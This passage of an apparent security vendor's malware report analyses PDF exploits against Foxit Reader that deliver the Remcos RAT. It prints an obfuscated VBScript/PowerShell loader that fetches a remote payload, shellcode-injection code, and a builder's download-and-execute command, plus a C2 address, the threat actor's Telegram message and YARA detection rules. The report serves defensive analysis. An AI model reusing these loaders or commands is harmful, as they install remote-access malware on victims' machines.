<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -7000,-7000Const RWQICZXUBCOZEYOXXOLPHN = 0WQCRFZGGQLHDIRTXIFVENK = "."YLVTDQQXKKQGPFGEOSJZOP = "$HEVCFLOVSDUCGFHQTKFAHKD = '[]<)#]1%$-63<578699)@3#y]<)#]1%$-63<578699)@3#t@%\@2351$@4^^&+&3521_43</&2*6_-\!^/61[5!^\[emailprotected].]<)#]1%$-63<578699)@3#t6}}=&_3+#-$^(5^&/@9--+@%\@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^\=<!3</&2*6_-\!^/61[5!^\$@6}}=&_3+#-$^(5^&/@9--+@%\@2351$@4^^&+&3521_4])=+^-6^!2=993*!&^\=<!d@%\@2351$@4^^&+&3521_46}}=&_3+#-$^(5^&/@9--+]'.Replace(']<)#]1%$-63<578699)@3#','S').Replace('@%\@2351$@4^^&+&3521_4','E').Replace('6}}=&_3+#-$^(5^&/@9--+','R').Replace('])=+^-6^!2=993*!&^\=<!','A').Replace('3</&2*6_-\!^/61[5!^\$@','M');$HQZNQSANBGESOEVVYSOBKZQ = ($HEVCFLOVSDUCGFHQTKFAHKD -Join '')|&('I'+'EX');$HSCYFSROAUPLLCWDPFTSSSZ = '[-!]#<)}-[1=&*=-/=)0_0}y-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2\$40(!5$9{)\{4@0+!*83\=8(_)**[<3!m.N\{4@0+!*83\=8(_)**[<3!-$)047)[({2\$40(!5$9{).W\{4@0+!*83\=8(_)**[<3!bR\{4@0+!*83\=8(_)**[<3!qu\{4@0+!*83\=8(_)**[<3!-!]#<)}-[1=&*=-/=)0_0}-$)047)[({2\$40(!5$9{)]'.Replace('-!]#<)}-[1=&*=-/=)0_0}','S').Replace('\{4@0+!*83\=8(_)**[<3!','E').Replace('-$)047)[({2\$40(!5$9{)','T');$HVILEIYVLFQVNERXEWCGCXO = ($HSCYFSROAUPLLCWDPFTSSSZ -Join '')|&('I'+'EX');$HVSQXGOSZZWOBNBTGXRCCZL = '&@_-)*0%&3@]3*9/-3]7!5r0(#9@{/8_<86!95505!/82a#!#!%26@*34@32@!6&&0##0(#9@{/8_<86!95505!/82'.Replace('&@_-)*0%&3@]3*9/-3]7!5','C').Replace('0(#9@{/8_<86!95505!/82','E').Replace('#!#!%26@*34@32@!6&&0##','T');$HJCNHHHRXRCBHPAEKDHSXUX = '_]81{)-=]#\872]20\39$53<73-//{#/_1+&4%8*(}7+tR3<73-//{#/_1+&4%8*(}7+%}[0%58)75/^{8}=[}-41<pon%}[0%58)75/^{8}=[}-41<3<73-//{#/_1+&4%8*(}7+'.Replace('_]81{)-=]#\872]20\39$5','G').Replace('3<73-//{#/_1+&4%8*(}7+','E').Replace('%}[0%58)75/^{8}=[}-41<','S');$HDRRVVKQKQNGJTRCWXTFBBJ = 'G36=[_^+{34+%8+\48#/+$!t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+\48#/+$!(6@!\}_&+(/#^@7%%}*{=^pon(6@!\}_&+(/#^@7%%}*{=^36=[_^+{34+%8+\48#/+$!(6@!\}_&+(/#^@7%%}*{=^t&#-$^#!/&79346)265}]&[36=[_^+{34+%8+\48#/+$!am'.Replace('(6@!\}_&+(/#^@7%%}*{=^','S').Replace('36=[_^+{34+%8+\48#/+$!','E').Replace('&#-$^#!/&79346)265}]&[','R');$HQLHKKPKITBTDYXPDFDXDCN = '=14&&!*6}12=_047<0$4*%75(-^77{]*}_+=!<[<@@#8a1#&0\/6^%#08}/\-[@/15^To75(-^77{]*}_+=!<[<@@#8n1#&0\/6^%#08}/\-[@/15^'.Replace('=14&&!*6}12=_047<0$4*%','R').Replace('75(-^77{]*}_+=!<[<@@#8','E').Replace('1#&0\/6^%#08}/\-[@/15^','D');&('I'+'EX')($HQZNQSANBGESOEVVYSOBKZQ::new($HVILEIYVLFQVNERXEWCGCXO::$HVSQXGOSZZWOBNBTGXRCCZL('hxxps://www.digitalmarketingstart.com/digitalmarketing/NEWLUCKASGSTART.JPG').$HJCNHHHRXRCBHPAEKDHSXUX().$HDRRVVKQKQNGJTRCWXTFBBJ()).$HQLHKKPKITBTDYXPDFDXDCN())"DUHJKVWUERPRNNKARQDOXB = StrReverse(" "+"l"+"l"+"e"+"h"+"s"+"r"+"e"+"w"+"o"+"p")Set ITTTPGKCLFFSQRFUUWYUSV = GetObject(StrReverse(":"+"s"+"t"+"m"+"g"+"m"+"n"+"i"+"w") _ & StrReverse("\"+"\"+"!"+"}"+"e"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"="+"l"+"e"+"v"+"e"+"L"+"n"+"o"+"i"+"t"+"a"+"n"+"o"+"s"+"r"+"e"+"p"+"m"+"i"+"{") _ & WQCRFZGGQLHDIRTXIFVENK & StrReverse("2"+"v"+"m"+"i"+"c"+"\"+"t"+"o"+"o"+"r"+"\"))Set RPFCRWSNXWFCEAQKDKOGWP = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("p"+"u"+"t"+"r"+"a"+"t"+"S"+"s"+"se"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))Set NDGKJWLKGWSPQZGHKLTLZG = RPFCRWSNXWFCEAQKDKOGWP.SpawnInstance_NDGKJWLKGWSPQZGHKLTLZG.ShowWindow = RWQICZXUBCOZEYOXXOLPHN' Create Notepad processSet WTQVYZLZBRCALBUSHDHPJG = ITTTPGKCLFFSQRFUUWYUSV.Get(StrReverse("s"+"s"+"e"+"c"+"o"+"r"+"P"+"_"+"2"+"3"+"n"+"i"+"W"))RASUVEQBLDGPFLLFXDQZRH = WTQVYZLZBRCALBUSHDHPJG.Create _ (DUHJKVWUERPRNNKARQDOXB+YLVTDQQXKKQGPFGEOSJZOP, Null, NDGKJWLKGWSPQZGHKLTLZG, intProcessID)self.close</script><body>HBar</body></HEAD> </HTML>

Code 22 – 5th Payload code.

At this stage, the attack chain employed two PDF files employing distinct methods of “exploitation” and entailed seven requests and executions of scripting language files. The seventh payload (VBS) contains embedded Base64 strings.

1. DynamicWrapperXLoader, dynwrapx.dll (stored asAUTOUPDATESTART.dll)
2. Shellcode, to be injected into the Loader

DCOM_NAME = SHELLOBJ.EXPANDENVIRONMENTSTRINGS (str_temp) & "\" & str_autoupdatestart & ".BIN"IF NOT IS_DOTNET THEN str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%" & "\" & str_rundll32)ELSE str_rundll32 = SHELLOBJ.EXPANDENVIRONMENTSTRINGS ("%WINDIR%")&"\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSBUILD.EXE"END IFWRITE_FILE DCOM_NAME,TEXTTOBINARY(str_base64_1, "BIN.BASE64")DOSHELLOBJ.RUN "REGSVR32.EXE /I /S "& CHR(7.5+7.6+7.4+8.5+1.5+1.5)&DCOM_NAME& CHR(7.5+7.6+7.4+8.5+1.5+1.5),0,TRUESET DCOM = CREATEOBJECT("DYNAMICWRAPPERX")

Code 23 – Creation of DynamicWrapperX.

DCOM.REGISTER "KERNEL32.DLL", "VirtualAlloc",LCASE("I=PUUU"), LCASE("R=P")....LOADER_PTR = DCOM.VIRTUALALLOC (0,LEN(str_base64_2)/2,4096,64)FOR I = 1 TO LEN (str_base64_2) STEP 2CHAR = ASC(CHR("&H"&MID (str_base64_2,I,2)))DCOM.NUMPUT EVAL(CHAR),LOADER_PTR,(I-1)/2

Code 24 – Allocation and Injection of Shellcode.

Once the injection process is completed, it proceeds to load and execute the Shellcode, which subsequently decrypts the malicious executable. The infection ultimately manifests as Remcos RAT with the command and control server located at139.99.85[.]106:2404, operating under the botnet name “Telegram : @Silentkillertv”. Another instance of Remcos, identified by the hash2266f701f749d4f393b8a123bd7208ec7d5b18bbd22eb47853b906686327ad59, also utilizes the same command and control server. However, in this case, the botnet name was “RemoteHost”.

Check Point managed to uncover various “online-fingerprints,” ranging from YouTube and TikTok accounts to Telegram accounts and channels established by the actor. These platforms were utilized to disseminate malicious tools and resources.

Telegram Message from the Threat Actor:

Name: The Silent KillerConnected to the Internet and the world of piracy since 2003I don't have another name online and I never remember I cheated on anyone because this goes against my religion, and that's so bad, that's why I'm honest with people and there's nothing that scares me.A fraudster usually has many names and accounts assigned to fraud. I don’t have any other channel or nameYou don’t have to buy and use my tools, but don’t accuse anyone of being a scam because you don’t have the money to buy and use the tools.Advice for beggars Instead of looking for free tools and begging, go learn to program and develop yourself and don’t waste your time on empty things.Greetings to everyone@Silentkillertv

Builders

After comprehending the exploit and identifying its key components, we initiated a hunt for additional malicious samples. Among the pool of collected files, we discovered several .NET and Python files that triggered our detection rule. Upon closer examination, we determined that these files were, in fact, the builders responsible for generating malicious samples.

Regardless of the programming language, all builders exhibit a consistent structure. The PDF template utilized for the exploit includes placeholder text, which is intended to be substituted once the user provides input for the URL from which to download the malicious file.

Python Builders

Check Point obtained two Python Builders, which were developed by the same author as they feature identical Python code. The only variation lies in the PowerShell command embedded in the PDF exploit template.

Figure 23 – Python Builder Source Code.

The command employed in this builder initially utilizes CMD, which then triggers PowerShell.

In the other Python builder, instead of dropping the payload as a.vbsfile, it is dropped as a.exefile.

Once the actor has successfully built the PDF exploit, the final message is written in Portuguese:“Payload generated successfully.”

.NET Builders

For .NET, we obtained multiple Builders “Avict Softwares I Exploit PDF”, “PDF Exploit Builder 2023”, and “f*ckCrypt.” All of those three builders have similar code, and we wouldn’t be surprised if actors stole each other’s code and made their own builders.

“f*ckCrypt” comprises two functionalities: one is “Exe to VBS,” and the other is the PDF exploit.

All the builders have the “same” commands and flow. The only thing different between them is the filenames. Below is their generic command with $+STRING, which shows the differences between them.

/F (CMD) /P (/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('$URL', '$DROPPED_FILENAME.exe')" >> $BAT_FILENAME.bat &@echo timeout /t 5 >> $BAT_FILENAME.bat &@echo start $DROPPED_FILENAME.exe >> $BAT_FILENAME.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> $VBS_FILENAME.vbs &@echo Dim strArgs >> $VBS_FILENAME.vbs &@echo strArgs = "cmd /c $BAT_FILENAME.bat" >> $VBS_FILENAME.vbs &@echo oShell.Run strArgs, 0, false >> $VBS_FILENAME.vbs & $VBS_FILENAME.vbs &dEl $VBS_FILENAME.vbs

Code 25 – Generic Command.

The Python builders share similar names with the “PDF Exploit Builder” (supporting only EXE), implying either they were developed by the same individual or that one of the builders was “copied” and developed to another language. A scenario where the code was stolen from .NET and rewritten Python seems more plausible. The similarity in names between “Avict Software” (which supports only EXE) and “f*ckCrypt” (VBS) indicates a similar situation of potential code stealing between developers or the same author, as seen in the previous scenario.

Builders Statistics

From the observed filenames in the commands, it appears that the most frequently used builder is the “PDF Exploit Builder” & Python variants. There’s also the possibility that manual commands were added or that additional builders exist beyond those obtained.

Except from the observed Builders, we also discovered aGitHubproject created on February 13 providing another .NET builder with exactly the same “exploit” commands as the previously mentioned. This same Builder is used by the APT groupAPT-C-35 / DoNot Team.

While this “exploit” doesn’t fit the classical definition of triggering malicious activities, it could be more accurately categorized as a form of “phishing” or manipulation aimed at Foxit PDF Reader users, coaxing them into habitually clicking “OK” without understanding the potential risks involved. Threat Actors vary from E-crime to APT groups, with the underground ecosystem taking advantage of this “exploit” for years, as it had been “rolling undetected” as most AV & Sandboxes utilize the major player in PDF Readers, Adobe. The infection success and the low detection rate allow PDFs to be distributed via many untraditional ways, such as Facebook, without being stopped by any detection rules. Check Point reported the issue to Foxit Reader, which acknowledged it and stated that it would be resolved in version 2024 3.

Recommendations

Until the software update is applied, Foxit users are advised to remain vigilant about potential exploitation and adhere to classic defense practices. To mitigate the risks of being affected by such threats, it is essential to:

1. Keep operating systems and applications updated through timely patches and other means.
2. Be cautious of unexpected emails with links, especially from unknown senders.
3. Enhance cybersecurity awareness among employees.
4. Consult security specialists for any doubts or uncertainties.

Protection

Check Point Threat Emulation, Harmony Endpoint, and Harmony Mobile Protect provide comprehensive coverage of attack tactics, file types, and operating systems and protect its customers against the type of attacks and the “exploit” described in this report.

• Exploit.Wins.FoxitExploit.ta.A

rule exploit_foxit_pdf{ meta: author = "Antonis Terefos(@Tera0017) @ Check Point Research" description = "PDF FOXITReader" strings: $pdf_header = "%PDF-" $pdf_string1 = "/OpenAction" $pdf_string2 = "/Launch" $pdf_string3 = "/Win" $pdf_string4 = /\/Launch[ \n\r]*(\/[a-zA-Z]+[ \n\r]*)*\/Win/ $command_string1 = "(CMD)" nocase $command_string2 = "powershell" nocase $command_string3 = "cmd.exe" nocase $command_string4 = "Wscript.Shell" nocase $command_string5 = "DownloadFile(" nocase $command_string6 = " curl " nocase $command_string7 = " bitsadmin " nocase condition: $pdf_header in (0..1024) and all of ($pdf_string*) and any of ($command_string*)}rule exploit_foxit_pdf_builders{ meta: author = "Antonis Terefos (@Tera0017) @ Check Point Research" description = "PDF Foxit Reader samples related to builders" strings: $pdf_header = "%PDF-" $builder_string1 = "startxref\r\n1866%%EOF" $builder_string2 = "ID [ (bc38735adadf7620b13216ff40de2b26) (bc38735adadf7620b13216ff40de2b26) ]" $pdf_string1 = "/OpenAction" $pdf_string2 = "/Launch" $pdf_string3 = "/Win" $pdf_string4 = /\/Launch[ \n\r]*(\/[a-zA-Z]+[ \n\r]*)*\/Win/ $command_string1 = "(CMD)" nocase $command_string2 = "powershell" nocase $command_string3 = "cmd.exe" nocase $command_string4 = "Wscript.Shell" nocase $command_string5 = "DownloadFile(" nocase $command_string6 = " curl " nocase $file_string1 = ".exe" $file_string2 = ".vbs" $file_string3 = ".bat" $file_string4 = ".com" condition: $pdf_header in (0..1024) and any of ($builder_string*) and all of ($pdf_string*) and any of ($command_string*) and any of ($file_string*)}rule donot_downloader{ meta: author = "Antonis Terefos (@Tera0017) @ Check Point Research" description = "APT-C-35 / DoNot Team Downloader" strings: $code1 = {83 C0 1A 99 B9 1A 00 00 00 F7 F9 8B C2 83 C0 (41| 61)} $string1 = "\\TestLog\\" ascii fullword $string2 = "\\Intel\\" ascii fullword $string3 = "Computer Name: " ascii fullword $string4 = "IP Address: " ascii fullword $string5 = "User Name: " ascii fullword $string6 = "Operating System Version: " ascii fullword $string7 = "Computer information written to computer_info.txt" ascii fullword $stirng8 = "filetoupload" ascii fullword condition: uint16(0) == 0x5A4D and 6 of them or ($code1 and 4 of ($string*))}rule donot_uploader{ meta: author = "Antonis Terefos (@Tera0017) @ Check Point Research" description = "APT-C-35 / DoNot Team Uploader" strings: $code1 = {B8 4F EC C4 4E 41 F7 E8 C1 FA 03 8B C2 C1 E8 1F 03 D0 6B C2 1A 44 2B C0 41 80 C0} $string1 = "filetoupload" ascii fullword $string2 = "Path not found: [%s]\n" wide fullword $string3 = "Directory: %s\n" wide fullword $string4 = "File: %s\n" wide fullword condition: uint16(0) == 0x5A4D and 4 of them}

Builders:

Malicious Files: